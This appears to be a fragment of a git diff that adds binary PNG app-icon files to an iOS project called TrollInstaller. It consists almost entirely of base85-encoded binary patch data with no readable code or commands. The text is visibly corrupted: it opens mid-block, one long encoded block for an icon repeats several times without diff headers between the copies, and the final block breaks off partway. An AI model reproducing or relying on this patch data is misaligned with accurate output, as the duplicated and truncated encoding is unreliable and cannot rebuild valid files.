zRsRoBJ2>PHlOFwRPdbPS0045|uWVht(fEB*V*i5T|39hUSL(64*CjE;*$sy`A^wve I{J)0(12~=nh5!Hn literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/20.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/20.png new file mode 100644 index 0000000000000000000000000000000000000000..d8ea34fcfcce0b033f1f5f408223dd07da2f587a GIT binary patch literal 1966 zcmbu6c~sK}632fb35Q&UKsg0PP*5-&fk28{Wep`U#zcsMLP{}0K*5AY1L9IE5(UMA zK*|v)l>h;(0&*)T2~atgQw&rHM-U{Eum}NMXxQ#+-`l_TZD-#6F>hwRZ$2}d!<*y4 zb}Ysl1AssP08%=zIRbbpv%h9rB7aRmIlcJ;fT;uefIb)m15{ujFbuRQ1T2($LVwo= z{$n5&Fa)ZqrmnF~Q`u0p9Z&&*!730i6bgYTyRR$j00air+vRvf6;2FNv!v@g-AKt- z-+i?Fr2(l|X65`f<2#LQpBWk%n^^DJYh$|)>EeoVb4Ppr?HI=EOKFQq?02yL;!+*~ zqym9}A!=J(AeF1i0K*{AU5=`HM~G@cbhxF{4R!saDf#6uHFi6bWCmX|dbfRMg%n%M zx6uAg_P>FB_kWT70rn@C2+#t9l+OdhfWyF=sW?xN9eI1`t?Q6WUSgn$f*?k)OT}Y~ zFJnC)u}mk_gxtX8NlL)c<+G7G3Y2)7*UGo&Bp`R7HuNmaST!f<;vVQMy87m|$Lh%S zj$gfwZ~P+nx^E*>b%v&W^~C602dX6~7X{P8#|*st%Aq2=D1k}q#a3a5Yqq7^9`h+O z>MNYtvpSx)HoNrg+KG;4yDPqeIvqTRuBI0(BX!DCI_b4pMt0dCbaJxBgoDDy6Mjc1 zak>>#8xsy^^KjZn2Kct^RW`X|Ie0lh#<}r~Du;`C9H{|6d~EwO_&7eewcbgQJ+7N{ z$Rrja?^;gIfD6XsbYjVJ@ZMX@1vu*-;>UjEwKxq0J78d*dEE=s@cbW4ZPftGM9*Sb zQ=8W7_rnya9cPbU)MI?`p(3qs94`y7-oAV`_jo`kdf>-Vu?8u%WO9BCfkMV{8H6Ir zj!od=bkA)TCBEs2xodnBHNCGpRN}L^IzSW-z8Dl7yEJ-B|4)4UNHhdey6gvW{JU5VWX zE}v#RNn)FlvLqK;4UrHb}<)Yxm^ckAb4en!O?`wDx`tcS3>qRb8&yGm7OiHU`y z%)8P0%j8X9Ut^}DAWrBdo)17@E}|H|tfeNEM(@4NIzEQXXQ$;z4fi2Uei|izKXpoE zx4dA)YHMvYkQ+Q3t3tFMBuobGkt$NYbM@h%h`I)8r; zlRvjoX#H%k3O8~ml8GnJ1}%z{uj5YE);&)(BJQlAZS+KxLWsqi0ErQy`r^DX#xG^M zmgb3QcR)IQG7D>rX>8NgIn!MxTA3T{?ZpLw4(Hrp&vTsS3e&Etw z;yVMwHSa9F&-VVg%$gC1)8u5mnzG;hML_2LdG|K8%hhooBc*T6UqvFYLOzmP^LiB9&$W15`l@mXVjdITq{0m`{Cn2x#aN5z3`7(sKviirfAZVIOp~0jgZYZzX9bib>{#8 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/29.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/29.png new file mode 100644 index 0000000000000000000000000000000000000000..9710ee133748e52ffcdee1ad2eb0598ff4c5b094 GIT binary patch literal 2783 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 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-1.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/40-1.png new file mode 100644 index 0000000000000000000000000000000000000000..99ceb3d465175c9770f289715a771adc2f8d9f06 GIT binary patch literal 3901 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 a_IDIiDs~aqieaJeSIn}?@=XAB~ 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 a_IDIiDs~aqieaJeSIn}?@=XAB~ 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 